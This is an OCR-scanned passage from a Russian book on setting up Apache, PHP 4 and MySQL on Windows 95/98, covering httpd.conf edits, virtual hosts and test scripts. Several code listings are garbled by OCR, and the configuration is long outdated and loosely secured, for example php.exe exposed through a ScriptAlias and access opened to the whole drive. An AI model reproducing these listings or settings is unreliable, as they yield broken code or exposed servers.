Windows 95/98 с технологиями PHP, CGI и Perl-сценариями одновременно
так же просто и непринужденно, как будто у вас инсталлирована Unix.

Дистрибутивы и ссылки

Я привожу список ссылок на сайты, на которых всегда можно найти самые
свежие версии программных продуктов. Все описываемые здесь программы
были загружены и установлены мной именно с этих сайтов. Итак:

П официальный сайт Apache: http://www.apache.org;

П официальный сайт РНР: http://www.php.net;

П официальный сайт MySQL: http://www.mysql.com;

П официальный сайт Active Perl: www.activestate.com;

И еще несколько ссылок, полезных Web-программисту.

П Всероссийский Клуб Вебмастеров: http://www.webclub.ru.

П Клуб разработчиков РНР: http://www.phpclub.net.

П Лаборатория dk: http://www.dklab.ru.

От слов к делу:
установка Apache

Итак, вы решились установить на свой компьютер Apache для Windows 95/98.
В таком случае вам следует запастись терпением и для начала "скачать" ди-
стрибутив сервера с официального сайта Apache: http://www.apache.org. Со-
ветую вам выбрать самую последнюю версию сервера для платформы
Windows. Теперь нам предстоит настройка Apache для вашей системы.

( Замечание ^

Мы попросим вас в точности выполнять перечисленные ниже шаги, не про-
пуская и не откладывая ни одного. Дело в том, что конфигурирование и на-
стройка Apache — довольно непростая работа, которая обычно поручается
профессионалам. Далее приводятся инструкции с довольно скупыми объяс-
нениями, почему нужно сделать то или иное действие, в расчете на то, что
вы будете соблюдать их буквально. В противном случае вам, скорее всего,

----------------------- Page 96-----------------------
Глава 4. Установка Apache 81

придется дополнительно провести пару неприятных часов (или дней) за изу-
чением документации Apache, в частности, той ее части, которая касается
конфигурирования.

Этап первый: установка

1. Запустите только что полученный файл дистрибутива Apache. В появив-
шемся диалоговом окне нажмите кнопку Next (рис. 4.1), а затем — кноп-
ку Yes, чтобы согласиться с условиями лицензии.

Welcome to the Apache Web Server Setup program.
This program will install Apache Web Setver on your
computer. '.

It is strongly recommended thai you exit all Windows pro grams
before running this Setup program.

Click Cancel to quit Setup onb* then dose emy programs you have
running, pick Next to continue with the Setup program.

WARNING: This program is protected by copyright faw end
international treaties, .

Unauthorized reproduction or distribution of this program, or any portion
. of it may result in severe civil end criminal penalties, and will be
prosecuted to the maximum extent possible under law.

fciext>

Рис. 4.1. Установка Apache

Choose Destination Location

Setup will install Apache Web Server in the following folder. ,,.;. .

To insteif to this folder, dick Next

To install to a different folder, click Browse and select another folder.

Yo u can choose not to install Apache Web Server by clicking Cancel
to exit Setup-

Destination Folder ••-. '.--- •-.

C:\Program FilesV^acfie GroupNApache Biowse...

<Eack 1 fcjexo

Рис. 4.2. Каталог для установки сервера

----------------------- Page 97-----------------------
82 Часть II. Выбор и настройка инструментария. Web-сервер Apache

2. Нажимайте кнопку Next в открывающихся окнах до тех пор, пока не
появится запрос о выборе каталога для установки Apache (рис. 4.2). Ре-
комендую вам оставить тот каталог, который предлагается по умолчанию
(пусть ЭТО, например, C:\Program Files\Apache Group\Apache) . Запом-
ните его на будущее.

3. В появившемся окне установите флажок Typical (Обычная) и нажмите
кнопку Next (рис. 4.3).
4. Программа инсталляции Apache предложит создать папку в меню Пуск в
папке Программы. Позвольте ей это сделать, нажав кнопку Next. Начнет-
ся процесс копирования программного обеспечения.

5. После окончания копирования нажмите кнопку Finish. Процесс установ-
ки сервера завершен, впереди — его настройка.

Setup Type

В Click the type of Setup you prefer, then click Next.
ИНН

Pгур1СаУ Program will be installed wllh the mostcommon
options. Recommendedformostusers.

Compact Program will be installed with minimum required
options.

Cy.st.om You may choose the optjonsyouwantto install.
Recommended for advanced users

Рис. 4.З. Тип установки

Этап второй: настройка файла
конфигурации Apache

На этом этапе вам нужно определиться с каталогом, в котором будут храниться
ваши сайты. По умолчанию Apache использует для этого C:\Program FilesX
Apach e Group\Apache\htdocs , где сразу после установки можно найти доку-
ментацию по серверу. Думаю, для серьезных целей такая дислокация не
очень подходит — слишком уж длинное имя, поэтому я рекомендую создать
для всех сайтов отдельный виртуальный диск (например, с именем z: ) при
помощи утилиты subst, входящей в Windows. Итак, вам нужно проделать ряд
действий .

----------------------- Page 98-----------------------
Глава 4. Установка Apache 83

1. Выберите каталог, в котором будут храниться ваши сайты (их может быть
несколько). Пусть, например, это будет C:\INTERNET . Ваш каталог будет
содержать корневой каталог нового диска z : .

2. В начале файла C:\autoexec.bat (но после команды @echo off, если она у
вас там есть) напишите такую строку:

subst Z : C:\INTERNET

3. Перезагрузите компьютер, чтобы новый логический диск z: создался.
Теперь все, что сохранено в каталоге C:\INTERNET , будет отображаться на
панели диска z: , как будто это — обычный жесткий диск. .

Внимание

Имеются сведения, что в Windows 95/98 есть ошибка. В результате при исполь-
зовании subst пути иногда "сами по себе" преобразуются в абсолютные (то
есть, например, в нашем случае Z: преобразуется в C:\INTERNET) , причем в
процессе работы какой-нибудь программы и совершенно неожиданно для нее.
Указанная ошибка чаще всего проявляется в неработоспособности Perl-
транслятора (если его не совсем корректно настроить). При работе с РНР ника-
ких побочных эффектов не наблюдалось.

Вы можете также создать диск z : с помощью какой-нибудь программы для
виртуальных разделов (например, с помощью встроенной в Windows 95/98
программы DriveSpace). Это решение, пожалуй, даже лучше, чем использо-
вание subst, как с точки зрения экономии памяти, и с точки зрения быстро-
действия. Ведь что такое Web-сайт, как не набор очень небольших файлов?
A DriveSpace как раз и оптимизирует работу с такими файлами. Как исполь-
зовать DriveSpace, смотрите во встроенной в Windows документации.
П Создайте на диске Z: каталог home, а в нем — каталог locaihost . В нем
будет храниться содержимое главного хоста Apache — того, который досту-
пен по адресу http://localhost. Перейдите в последний созданный каталог.
Создайте в нем каталоги cgi и www . В первом будут храниться CGI-
сценарии, а во втором — ваши документы и программы на РНР. Замечу,
что подобную операцию вам нужно будет проделывать каждый раз при
создании нового виртуального хоста (о них мы поговорим чуть позже). По-
лученная структура каталогов показана на рис. 4.4.
Откройте в Блокноте файл конфигурации httpd.conf , который располо-
жен в подкаталоге conf каталога Apache (в нашем примере это
C:\Program FilesXApach e GroupXApache) . Впрочем, ВЫ МОЖСТе И Не ИС-
кать этот файл вручную, а воспользоваться командой Edit configuration,
пройдя по цепочке меню Пуск Программы | Apache Web Server I
Management. Httpd.conf -- единственный файл, который вам нужно на-
строить. Вам предстоит найти и изменить в нем некоторые строки, а
именно те, о которых упоминается далее. Во избежание недоразумений

4 Зак. 699

----------------------- Page 99-----------------------
84 Часть II. Выбор и настройка инструментария. Web-сервер Apache

не трогайте все остальное. Следует заметить, что в файле каждый пара-
метр сопровождается несколькими строками комментариев, разобраться в
которых с первого раза довольно тяжело (впрочем, вы можете обратиться
к Приложению Б, в котором приведен полный перевод этих комментари-
ев на русский язык). Поэтому не обращайте на них особого внимания .
Для начала мы настроим параметры для главного хоста Apache — locaihost,
а также параметры по умолчанию, которые будут унаследованы всем осталь-
ными виртуальными хостами, если мы когда-либо захотим их создать.

ЕЧ Обзор - locaihost ЕЗД iS
ji файл Правка Вид Переход Избранное > |
: Адрес JCJ Z:\home\localhost d
v
Все папки x ; • ' ' " Pi

i ! Ш SI (F:)
j : as>sft(Z:) cgi ww\v
B-Q home
Й-Sl locaihost
J
CJ cgi
Cl WWW
LiJ Принтеры .d

Рис. 4.4. Структура каталогов главного хоста

П Задайте значение параметра serverName следующим образом:

ServerName locaihost

Только не забудьте раскрыть комментарий для поля serverName , т, е. уб-
рать символ # перед этим параметром (установленный по умолчанию),
поскольку все, что идет после этого символа и до конца строки, Apache
игнорирует.

П В поле DocumentRoot укажите тот каталог, в котором будут размещены
ваши HTML-файлы. Мы ранее договорились, что это будет
z:\home\localhost\www)

DocumentRoot z:/home/localhost/www

П Найдите секцию, начинающуюся строкой <oirectory/ > и заканчиваю-
щийся строкой </oirectory > (такие блоки содержат установки для за-
данного каталога и всех его подкаталогов). Этот блок может содержать
множество комментариев — не обращайте на них внимания. Его нужно
заменить на секцию следующего вида:

<Directory z:/>

Options Indexes Includes

AllowOverride All

Allow from all

</Directory>

----------------------- Page 100-----------------------
Глава 4. Установка Apache 85

Этим вы обеспечите, что в данном блоке будут храниться настройки для
всех каталогов по умолчанию (так как z : — корневой каталог). А именно,
для всех каталогов по умолчанию предоставляется возможность автома-
тической генерации индекса — списка содержимого каталога при про-
смотре его в браузере, а также поддержка SSI и разрешение использовать
файлы .htaccess для индивидуальных настроек каталогов.

П Найдите аналогичный блок, начинающийся строкой
<Directory "С:/Program Files/Apache Group/Apache/htdocs"> И ЗЗКЗН-
чиваюшийся ограничителем </oirectory> . Там будет много комментари-
ев, не обращайте на них внимание. Эту секцию вам нужно удалить, т. к.
все настройки для каталога со страничками должны наследоваться от на-
строек по умолчанию, которые мы только что установили.

П Инициализируйте параметр Directorylndex так:

Directorylndex index.htm index.html

Это — так называемые файлы индекса, которые автоматически возвраща-
ются сервером при обращении к какому-либо каталогу, если не указано
имя HTML-документа. В принципе, можно добавить сюда и другие имена,
например, index.php , и т.д . Тем не менее, дополнительные настройки
все же лучше делать в файлах .htaccess для каждого сайта в отдельности.

CU Найдите и исправьте следующий параметр:

ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/ "

Добавьте после него еще такую строчку:

ScriptAlias /cgi/ "z:/home/localhost/cgi/"

Да, именно так, с двумя слэшами — в начале и в конце. Это будет тот ка-
талог, в котором должны располагаться ваши CGI-сценарии. Подобный
параметр говорит Apache о том, что, если будет указан путь вида
http : //locaihost/cgi-bin , то на самом деле следует обратиться к ката-
логу z: /home/iocaihost/cgi . Мы используем два псевдонима для CGI-
каталога потому, что /cgi-bin/ будет доступен не только главному хосту
localhost, но и всем остальным виртуальным хостам. В то же время у ка-
ждого из них будет дополнительно свой CGI-каталог /cgi/ .

П Теперь следует найти блок параметров, начинающийся с <oirectory "С:/
Program Files/Apach e Group/Apache/cgi-bin" > И заканчивающийся
</oirectory>. Это — настройки для CGI-каталога. Так как мы не соби-
раемся указывать никаких дополнительных параметров взамен тех, кото-
рые уже установлены по умолчанию, этот блок нужно удалить.

П Найдите и настройте (не забудьте раскрыть комментарий!) следующий
параметр:

AddHandler cgi-script .bat .exe .cgi

----------------------- Page 101-----------------------
86 Часть II. Выбор и настройка инструментария. Web-сервер Apache

Он говорит Apache о том, что файлы с расширениями exe , bat и cgi на-
до рассматривать как CGI-модули.
П И последнее — установите следующие параметры:

AddType text/html .shtml

AddHandler server-parsed .shtml .html .htm

Этим вы заставляете Apache обрабатывать файлы с указанными расшире-
ниями процессором SSI.
П Теперь не забудьте сохранить изменения и закройте Блокнот.

Этап третий: тестирование Apache

Поздравляем — вы настроили свой Apache, и он должен уже работать! Для
запуска сервера нажмите кнопку Пуск, затем выберите Программы, Apache
Web Server, Management и Start Apache, при этом всплывет окно, очень по-
хожее на Сеанс MS-DOS, и ничего больше не произойдет. Не закрывайте
его и не трогайте до конца работы с Apache.

Если окно открывается и тут же закрывается, это означает, что вы допусти-
ли какую-то ошибку в файле httpd.conf . В этом случае придется искать
неточность. Проще всего это сделать, как указано ниже.

1. Запустите Сеанс MS-DOS. Для этого нажмите кнопку Пуск, затем выбери-
те Выполнить. Наберите в появившемся диалоговом окне строку command и
нажмите клавишу <Enter>. Появится подсказка командной строки.

2. Наберите следующие команды DOS:

с:

cd "\Program FilesXApache Group\Apache "

apache.exe

3. Если до этого Apache не выполнялся, то вы получите сообщение об
ошибке и номер строки в httpd.conf , где она произошла. Исправьте
httpd.conf и повторите описанный процесс сначала, до тех пор, пока в
окне не отобразится что-то вроде "Apache/1.3.14 (Win32) running..."

Несколько слов о том, как можно упростить запуск и завершение сервера.
В Windows можно назначить любому ярлыку функциональную комбинацию
клавиш, нажав которые, вы запустите связанное с ним приложение . Так что
щелкните правой кнопкой мыши на панели задач, в контекстном меню вы-
берите Свойства, затем Настройка меню и кнопку Дополнительно. В от-
крывшемся Проводнике присвойте ярлыку Start Apache комбинацию кла-
виш <Ctrl>+<Alt>+<A>, а ярлыку Stop Apache — <Ctrl>+<Alt>+<S>. Теперь
вы сможете запускать сервер нажатием <Ctrl>+<Alt>+<A> и останавливать
его, нажав <Ctrl>+<Alt>+<S>.

Теперь проверим, правильно ли мы настроили сервер.

----------------------- Page 102-----------------------
Глава 4. Установка Apache 87

Проверка html

В каталоге z:/home/localhost/www , содержащем HTML-документы Apache,
создайте файл index.html с любым текстовым наполнением . Теперь запус-
тите браузер и наберите:

http://localhost/index.html

или просто

http://localhost/

Должен загрузиться ваш файл.

Проверка SSI

В каталоге z: /home/iocaihost/www с HTML-документами Apache создайте
файл test.shtml со следующим содержанием (внимательно следите за со-
блюдением пробелов в директиве include!) :

: Листинг 4.1. Файл test.shtml

SSI Test!<hr>

<!--ttinclude virtual="/index.html" —>

<hr>

Затем наберите в браузере:

http://localhost/test.shtml '

Должен открыться файл, который состоит из текста "SSI Test!", за которым сле-
дует содержимое файла index.html между двумя горизонтальными чертами.
Если этого не произошло, значит, вы неправильно сконфигурировали SSI.

Проверка CGI

В каталоге z : /home/iocaihost/cgi , предназначенном для хранения CGI-
сценариев, создайте файл test.bat с таким содержанием:

i Листинг 4.2. Файл test.bat

@echo off

echo Content-type : text/html

echo.

echo.

Dir

----------------------- Page 103-----------------------
88 Часть II. Выбор и настройка инструментария. Web-сервер Apache

Далее в браузере наберите:
http://localhost/cgi-bin/test.bat

В окне отобразится результат команды DOS dir .

Замечание

Нужно отметить, что последний пример работает не под всеми версиями
Windows : иногда вместо того, чтобы выполнить файл test.bat , Apache выво-
дит в браузер его содержимое. С чем это связано — не совсем ясно, однако,
кажется, можно избавиться от указанной ошибки путем манипулирования с
реестром Windows . Если у вас test.bat не запускается, не расстраивайтесь:
вряд ли вы когда-нибудь будете писать сценарии в виде bat-файлов, тем бо-
лее, что этот способ несовместим с Unix.

Если что-то пошло не так, либо окно Apache открывается и тут же закрыва-
ется, значит, где-то произошла ошибка — скорее всего, причины ее возник-
новения можно найти в httpd.conf . За детальным разъяснением этих при-
чин можно обратиться к log-файлам, расположенным в каталоге
C:\Program FilesXApache Group\Apache\logs .

Виртуальные хосты Apache

Итак, вы установили Apache и получили, таким образом, каталог
z:/home/localhost/www ДЛЯ хранения Документов И z:/home/localhost/cgi
для CGI. Однако в Интернете вы поддерживаете (или, скорее всего, будете
поддерживать) несколько серверов, a Apache создал для вас только один.
Конечно, можно структуру этих нескольких серверов хранить на одном сер-
вере, однако проще и удобнее было бы создать несколько виртуальных хос-
тов с помощью Apache. В нашем распоряжении есть два вида виртуальных
хостов: отдельные для каждого IP-адреса или же использующие один общий
IP-адрес (так называемые name-based хосты — хосты, определяемые по име-
ни). В тренировочных целях мы рассмотрим оба варианта, а именно, созда-
дим хост hacker , задействуюший тот же адрес, что и locaihost , а также хост
cracker С адресом 1 2 7 . 0 . 0 . 2 .

Примечание

Конечно, вместо "hacker" и "cracker" вам нужно будет указать желаемые
имена ваших виртуальных хостов. Советуем назвать их так же, как и на вашем
настоящем Web-сервере, но только без "суффикса" . ru или . com — это может
многое упростить при программировании сценариев.

Как это принято в Unix, каждый сервер будет представлен своим каталогом в
z : /home с именем, совпадающим с именем сервера (мы уже проделывали нечто
подобное с хостом locaihost). Например, сервер hacker будет храниться в ка-

----------------------- Page 104-----------------------
Глава 4. Установка Apache 89

талоге z : /home/hacker , который вам необходимо создать прямо сейчас (конеч-
но, вместе с его подкаталогами cgi и www , как мы делали это ранее), а хост
cracker — в каталоге z : /home/cracker . В этих каталогах будут находиться:

О файлы access . log с журналом доступа к виртуальному серверу;

П файлы errors , log с журналом ошибок сервера;

П каталог www , где, как обычно, будут размещаться HTML-документы;

П каталог cgi для хранения CGI-программ.

На рис. 4.5 представлена структура каталогов, которая должна у нас получиться.

файл Правка В_ид Перевод избранное
; Адрес pY\hom

•'- •• j home
•г, Cl cracker

- _j hackei
--1J cgi

'Jj WWW

:- '21 lOCOlhOSl

_U cgi
'•O www
(jj Принтеры

Рис. 4.5. Структура каталогов виртуального хоста

Для установки виртуальных хостов необходимо внести некоторые измене-
ния в файл конфигурации Apache httpd.conf (см. выше), а также в некото-
рые файлы Windows. Опишем, что для этого нужно сделать.

Откройте файл httpd.conf (можете для этого воспользоваться уже упоми-
навшимся выше ярлыком Edit configuration. Перейдите в конец файла, вам
предстоит добавить туда несколько строк. Вставьте следующие строки в
конце файла после всех комментариев:

I Листинг 4.3. Настройка виртуальных хостов
; - -

NameVirtualHost 127.0.0.1

# localhost

<VirtualHost localhost>

ServerAdmin webmasters localhost

ServerName localhost

DocumentRoot "z:/home/localhost/www"

ScriptAlias /cgi/ "z:/home/localhost/cgi/ "

----------------------- Page 105-----------------------
90 Часть //. Выбор и настройка инструментария. Web-сервер Apache

ErrorLog z:/home/localhost/error.log

CustomLog z:/home/localhost/access.log common

</VirtualHost>

# hacker

<VirtualHost hacker>

ServerAdmin webmaster@hacker.ru

ServerName hacker

DocumentRoot "z:/home/hacker/www "

ScriptAlias /cgi/ "z:/home/hacker/cgi/"

ErrorLog z:/home/hacker/error.log

CustomLog z:/home/hacker/access.log common

</VirtualHost>

# cracker

<VirtualHost cracker>

ServerAdmin webmaster@cracker.ru

ServerName cracker

DocumentRoot "z:/home/cracker/www "

ScriptAlias /cgi/ "z:/home/cracker/cgi/"

ErrorLog z:/home/cracker/error.log

CustomLog z:/home/cracker/access.log common

</VirtualHost>

Замечание

Обратите внимание на то, что мы добавили дополнительно секцию
<virtuaiHost> для хоста locaihost . Если этого не сделать, то все запросы к
нему (то есть, по адресу 127.0.0.1 ) будут обработаны name-based хостом
hacker. Происходит это, видимо, из-за того, что хосты в секции
<virtualHost> имеют больший приоритет при обработке, чем главный хост,
который мы создали ранее.

Директива NameVirtuaiHost говорит серверу, что указанный IP-адрес может
использоваться несколькими виртуальными хостами, поэтому для обработки
запросов, поступающих на этот адрес, нужно привлекать протокол HTTP 1.1
(который, собственно, и поддерживает технику работы с name-based хостами).

При желании можно добавить и другие параметры в блоки <virtuaiHost >
(например, Directoryindex и т. д.) Не переопределенные параметры насле-
дуются виртуальным хостом от главного. Однако не советую злоупотреблять
настройками в этих секциях — лучше сделать их в файле .htaccess в дирек-
тории нужного хоста, потому что компания , которая предоставляет (будет
предоставлять) вам "настоящие" виртуальные хосты в Интернете, вряд ли
позволит менять данные блоки.

----------------------- Page 106-----------------------
Глава 4. Установка Apache 91

Но как же система узнает, что хост cracker сопоставлен с адресом
1 2 7 . 0 . 0 . 2, a hacker -- name-based хост? Для решения проблемы надо не-
много подправить системный файл hosts , который находится в каталоге
C : \ W I N D O W S для операционных систем Windows 95/98/Milienium и
C:\wiNNT\SYSTEM32\DRivERS\etc для Windows NT и Windows 2000.

Внимание

Не путайте файл hosts (без расширения) с файлом hosts . sam, который, ско-
рее всего, также расположен в том же каталоге! Последний файл является
просто демонстрационным примером Microsoft и никак не используется систе-
мой. Если файла hosts не существует, его необходимо создать.

Файл hosts -- обычный текстовый файл, и в него может быть заранее
включена только одна строка:

127.0.0.1 localhost

Именно эта строка и задает соответствие имени localhost адресу 127 . о . о . 1.

С Замечание )

Ради справедливости следует сказать, что имя localhost работает и без ука-
занной выше строки. Ну и выдумщики же эти парни из компании Microsoft!

Для нашего виртуального хоста надо добавить соответствующую строчку,
чтобы файл выглядел так:

! Листинг 4.4. Файл hosts

127.0.0.1 localhost hacker

127.0.0.2 cracker

Обратите внимание на то, что хост hacker описан на той же строке, что и
localhost . Дело в том, что в файле hosts должны указываться только уни-
кальные IP-адреса. Если же одному адресу сопоставляется сразу несколько
хостов, то один из них (тот, который идет первым) объявляется главным, а
остальные — его псевдонимами . В нашем случае localhost — главный , а
hacker — его псевдоним. Apache при получении запроса на адрес 127. о . о . 1
узнает, что он пришел хосту с именем hacker , и активизирует соответст-
вующий блок <VirtualHost> .

Итак, мы создали виртуальные хосты со следующими свойствами:

Хост hacker :

П ИМЯ — hacker ;

П Доступен ПО адресу http : //hacker ;

----------------------- Page 107-----------------------
92 Часть II. Выбор и настройка инструментария. Web-сервер Apache

О расположен В каталоге z : /home/hacker ;

П каталог для хранения документов— z\ /home/hacker/www , доступный по
адресу http : //hacker/ ;

П каталог для CGI z:/home/hacker/cgi , доступный по адресу
http://hacker/cgi/ ;

П фаЙЛЫ журналов хранятся В z : /home/hacker .

Хост cracker :

П ИМЯ — cracker ;

П доступен ПО адресу http://cracke r или http://127 . 0 . 0 . 2 ;

О размешен в каталоге z:/home/cracker ;
П каталог для хранения документов— z.-/home/cracker/www , доступен по
адресу http : //cracker/ ;

О каталог для CGI z : /home/cracker/cgi , доступен по адресу
h t t p : / / c r a c k e r / c g i / ;

П фаЙЛЫ Журналов содержатся В z : /home/cracker .

Замечание

Необходимо заметить, что главный хост (невиртуальный, тот, который мы соз-
дали ранее) по-прежнему доступен по адресу http://127.o.o. l или
http: //localhost. Более того, его директория cgi-bin "видна" всем суще-
ствующим виртуальным хостам, так что вы можете ее использовать.

После всех изменений не забывайте перезапускать Apache.

Внимание

Просто завершить сервер, нажав на кнопку Закрыть в правом верхнем углу его
окна, недостаточно — нужно воспользоваться пунктом Stop Apache в меню
Пуск I Программы I Apache Web Server I Management. В противном случае
закроется только окно Apache, а сам сервер останется работать в фоновом ре-
жиме, так что изменения, внесенные в httpd.conf, не будут активизированы.
Правда, в последних версиях Apache этот недостаток был устранен, но лучше
все же перестраховаться.

----------------------- Page 108-----------------------
Глава 5

Установка PHP и MySQL

Давайте теперь перейдем к установке языка РНР версии 4, ради которого,
собственно, мы и устанавливали сервер Apache. К сожалению, на момент
написания этих строк у РНР не было нормальной setup-программы, которая
могла бы установить РНР со всеми необходимыми нам модулями за один
прием, как мы проделали это с Apache. Так что, возможно, его инсталляция
покажется вам чуть сложнее.

Прежде всего, вам нужно запастись терпением и загрузить с официального
сайта РНР http://www.php.net из секции Downloads два файла: один с расши-
рением zip, а другой — ехе. Ссылки на эти файлы находятся почти на самом
верху страницы, после заголовка Win32 Binaries. Первый файл представляет
собой полную версию РНР 4, но не имеет удобной программы установки, а
второй, наоборот, является автоматической программой установки, но не
содержит в себе наиболее часто используемых модулей.

Замечание

Так было на момент написания данной книги. Возможно, в будущем разработ-
чики РНР будут поставлять дистрибутив в виде одного большого ехе-файла, но
пока это не так.

Советую вам также скопировать полную документацию по РНР, ссылка на
которую есть на странице чуть ниже. Уверен, в будущем она еще не раз вас
выручит.
Стоит сказать еще пару слов насчет версии РНР. Язык постоянно совер-
шенствуется, и на момент создания книги последней версией была 4.0.3.
Скорее всего, когда вы будете читать эти строки, выйдет более новая вер-
сия — например, 4.0.10. Думаю, наилучшим решением будет загрузить ту,
что поновее, потому что в ней, возможно, исправлены некоторые ошибки
из предыдущих версий языка. Главное, чтобы первая цифра была 4, потому
что "третий" РНР сильно проигрывает "четвертому" по количеству поддер-
живаемых функций.

Установка РНР

1. Запустите только что загруженный ехе-файл. В открывшемся диалоговом
окне нажмите кнопку Next (рис. 5.1).

----------------------- Page 109-----------------------
94 Часть II. Выбор и настройка инструментария. Web-сервер Apache

& Welcome

Welcome to РНР40.ЭрП Setup program. This
program will install PHP 4.0.3pl1 on your computer.

Yo u may need to stop your web server before installation. [IS Bnd
PWS do not need to be stopped.

Dick Cancel to quit Setup and then stop your wsb server И •
necessary. Click Next to continue with the Setup program.

WARNlNG;This program is protected by copyright iaw and
international treaties.

Installer version number 1.0.1 -

Cancel

Рис. 5.1. Установка PHP

2. Согласитесь с условиями лицензии, нажав кнопку I Agree. В появившем-
ся диалоговом окне выберите тип установки Standard.

3. Теперь укажите директорию, в которую будет установлен РНР. По умол-
чанию предлагается с: \РНР , но, думаю, логичнее было бы выбрать
C:\program Fiies\PHP4 , "поближе" к Apache (рис. 5.2). Для указания
этого каталога нажмите кнопку Browse... и введите его имя, затем нажми-
те, как обычно, кпопку ОК и потом — Next, чтобы перейти к следующе-
му диалоговому окну.

S» Choose Destination Location

Setup will install PHP 4.0.3pl1 in the following folder

To install into a different folder, click Browse, and select another
folder. ; • • ' •

Yo u can choosi ell PHP •(.О.ЗрИ by clicking Cancel to exit
Setup.

Destination Folder

C:\Program Files\PHP4

tiext>

Рис. 5.2. Выбор каталога для установки РНР

----------------------- Page 110-----------------------
Глава 5. Установка PHP и MySQL 95

4. Задайте адрес вашего SMTP-сервера (Send Mail Transfer Protocol — Прото-
кол пересылки почтовой корреспонденции), а также ваш адрес электрон-
ной почты. Именно этот сервер и обратный адрес будут использованы для
исходящих почтовых запросов, когда вызывается функция Mail о языка
РНР. В общем, это тот самый сервер, через которого отсылает почту ваш
обычный почтовый клиент — например, Outlook Express. Впрочем, можете
и оставить в текстовых полях значения по умолчанию — в этом случае
функция Mail о просто не будет работать на локачьной машине.
5. Выберите сервер, на который будет настроен РНР. В нашем случае это —
Apache (рис. 5.3).
Начнется процесс копирования файлов. После его окончания, возможно,
появятся еще некоторые диалоговые окна с различными извещениями.
Не обращайте на них внимания.
На этом этапе язык РНР можно считать уже почти установленным — нам
осталось только настроить Apache, чтобы он мог распознать РНР-сценарии,
а также подключить дополнительные модули, которые содержатся в загру-
женном нами zip-архиве.

JS Server Type

Please select the type'of http seiver you wish to configure to run
php.

Г Microsoft FWS on Windows 9x

<" Microsoft FSVS on NT Workstation

f Microsoft IIS 3 or tower

<~ .Microsoft IIS A or higher

<* Apache

Г Xitami

f* None (or other server}-1 will configure the web server manually

Cancel

Рис. 5.З. Выбор сервера

Настройка Apache для работы с РНР

1. Откройте в Блокноте файл конфигурации Apache httpd.conf, находящийся
В каталоге C:\Program Files\Apache Group\Apache\conf. Впрочем, ВЫ МО-
жете и не искать этот файл вручную, а воспользоваться пунктом Edit
configuration в меню Пуск I Программы I Apache Web Server I Management.

----------------------- Page 111-----------------------
96 _ Часть II. Выбор и настройка инструментария. Web-сервер Apache

2. Найдите в тексте файла такую закомментированную строку:
#AddType application/x-httpd-php php

3. Раскройте комментарий:
AddType application/x-httpd-php php

Таким образом, мы присвоили всем файлам с расширением php тип
application/x-httpd-php .

4. Сразу же после этой строки добавьте такие настройки:
ScriptAlias /_php/ "С: /Program Files/PHP4/"
Action application/x-httpd-php "/_php/php.exe"

Этим мы, во-первых, создаем синоним _php для каталога с процессором
РНР, чтобы Apache мог получить к нему доступ, а во-вторых, связываем
все файлы типа application/x-httpd-php С обработчиком php.exe .

С Замечание ^

Строка "_php" выбрана из такого расчета, чтобы она в будущем не конфликтовала с
именами каталогов, которые вы можете объявить на вашем хосте.

5. Сохраните изменения в файле конфигурации, остановите Apache, если он
был до этого запущен (пункт Пуск I Программы I Apache Web Server I
Management I Stop Apache), и стартуйте сервер снова. Если Apache не за-
пускается (его окно открывается и тут же закрывается), значит, вы где-то
допустили синтаксическую ошибку. В этом случае можете воспользовать-
ся рекомендациями по устранению ошибок, описанными в главе 4.

Тестирование РНР

Давайте теперь убедимся, что PHP-сценарии работают. Для этого создадим в
каталоге z : /home/iocaihost/www файл test . php со следующим содержанием:

I Листинг 5.1. Тестовый сценарий

echo "It works ! <br>\n" ;
phpinf о ( ) ;
?>

Теперь наберите в браузере: http://iocalhost/test.php . Должна отобра-
зиться страница с разнообразной информацией о РНР, которая генерирует-
ся функцией phpinf о ( ) .

----------------------- Page 112-----------------------
Глава 5. Установка PHP и MySQL 97

Замечание

Напоминаем, что PHP-сценарии— не то же самое, что CGI-сценарии. В част-
ности, если CGI-сценарий обычно располагают в /cgi-bin/ или /cgi/ , то
php-сценарий должен находиться в каталоге с документами.

Если страница не отображается, значит , вы допустили ошибку в файле
httpd.conf. Откройте его снова и исправьте ошибку, затем не забудьте пере-
запустить Apache.

Внимание

Напоминаю еще раз, что просто остановить Apache, так сказать, принудительным
образом нельзя — необходимо воспользоваться ярлыком Stop Apache, как это
было описано выше. В противном случае при использовании некоторых версий
сервера закроется только окно Apache, а сам сервер останется работать.

Установка дополнительных модулей

После того как мы убедились в работоспособности РНР, нужно подключить к
нему дополнительные модули, которые находятся в загруженном zip-файле.
Среди них — средства для работы с рисунками, календарем, FTP (File Transfer
Protocol — Протокол передачи файлов) и т. д. Нужно заметить, что архив со-
держит полную версию РНР, а не только модули для него. Единственная при-
чина, почему мы не обратились к нему сразу — отсутствие удобной програм-
мы установки. Итак, для этого нужно проделать ряд действий.

1. Разверните zip-архив прямо в тот же самый каталог, где уже установлен
РНР (в нашем примере это c:\Progra m Fiies\PHP4) . Некоторые файлы
перекроются, некоторые — добавятся. В частности, появится каталог
extensions , как раз и содержащий практически все необходимые файлы.

2. Теперь нужно дать знать РНР, какие модули он может использовать, а
также осуществить еще некоторые настройки. Для этого откройте в
Блокноте файл php.ini из каталога с файлами Windows (обычно
C:\WINDOWS). Этот файл был помещен туда программой установки РНР.
Файл представляет собой набор строк, каждая из которых соответствует
значению одного параметра. Части строк, расположенные после символа
,-, рассматриваются как комментарии и игнорируются.

3. Найдите параметр magic_quotes_gpc и отключите его:

magic_quotes_gpc=0ff

Этим мы запрещаем РНР принудительно вставлять обратные слэши пе-
ред некоторыми символами, поступающими из формы. Мы еще обяза-
тельно поговорим об этом и других параметрах ближе к концу книги .

----------------------- Page 113-----------------------
98 Часть II. Выбор и настройка инструментария. Web-сервер Apache

4. Теперь найдите и настройте следующий параметр:

extension_dir=C:\Program Files\PHP4\extensions

Здесь мы уведомляем РНР, что модули он должен искать в каталоге
C:\Program Fiies\pHP4\extensions , т. е. как раз там, где нужно. Обрати-
те внимание на то, что по умолчанию в этом параметре стоит значение
. /, т. е. поиск будет производиться в том же самом каталоге, где установ-
лен РНР. Это, конечно же , неудобно.

5. Найдите "закомментированные" строки, которые начинаются с ;extension=.
Вам предстоит раскрыть те из них , которые соответствуют нужным нам
модулям. В этой книге описывается библиотека GD для работы с изо-
бражениями, поэтому нам обязательно понадобится модуль php_gd.dll .
Поддержка MySQL и календарных функций уже встроена в РНР.
6. Не забудьте сохранить изменения в файле php.ini . Чтобы изменения
вступили в силу, перезапускать Apache не нужно, ведь мы установили
РНР не как модуль сервера, а как отдельную программу.

Установка MySQL

